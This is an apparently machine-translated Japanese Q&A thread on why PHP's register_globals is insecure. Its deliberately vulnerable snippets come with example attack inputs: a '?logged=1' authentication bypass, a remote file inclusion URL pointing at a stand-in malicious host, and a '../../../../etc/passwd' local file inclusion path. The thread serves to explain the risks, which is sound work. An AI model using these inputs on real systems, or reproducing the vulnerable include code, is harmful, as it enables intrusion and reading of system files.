REGISTER_GLOBALSがそれほど悪いのはなぜですか?
-
07-07-2019 - |
質問
私はPHP開発者ではありませんが、いくつかの場所で人々がペストや何かのように扱っているようです。なぜですか?
解決
REGISTER_GLOBALS
は、GETまたはPOSTを介して渡されるすべての変数が、スクリプトのグローバル変数として利用可能であることを意味します。宣言されていない変数へのアクセスはPHPではエラーではないため(警告です)、非常に厄介な状況につながる可能性があります。たとえば、これを考慮してください:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
それ自体は悪いことではありません(適切に設計されたコードは警告を生成しないため、宣言されていない可能性のある変数にアクセスしないでください(また、必要 REGISTER_GLOBALS
同じ理由で))、しかし、PHPコードは通常[非常に]低品質であり、この種のセキュリティホールにつながります。
他のヒント
REGISTER_GLOBALSを有効にすると、PHPが提供するWebページが脆弱性にさらされ、悪意のある人が悪用することになります。
有効にすると、URLの末尾にあるクエリ文字列:
http://yourdomain/something.php?valid=true
something.phpの変数$ valid(たとえば)の値、存在する場合に影響します。
公開されているPHPコード(たとえばライブラリ)を使用している場合、変数の名前はよく知られており、ハッカーはクエリ文字列に値を割り当てることで値を制御できます。認証をバイパスできる可能性があります。
公開コードを使用していない場合でも、重要な変数の名前を推測し、その値を制御することができる場合があります。
以前は、PHP.INIでREGISTER_GLOBALSを有効にするデフォルトでした
最近は、デフォルトで無効にすることが慣例となっています。自己責任で有効にしてください!
追加するだけで、 REGISTER_GLOBALS
を有効にすると、1日が台無しになる場合があります。
クエリ文字列を使用してアクセス制御をバイパスする( http://example.com/を使用してハックする?logged = 1 ):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
リモートファイルインクルージョン(RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
ローカルファイルインクルージョン(LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
ユーザーがコントロールなしでコードにグローバル変数を挿入できるためです。
コードの品質に基づいて、重大なセキュリティバグが発生する可能性があります。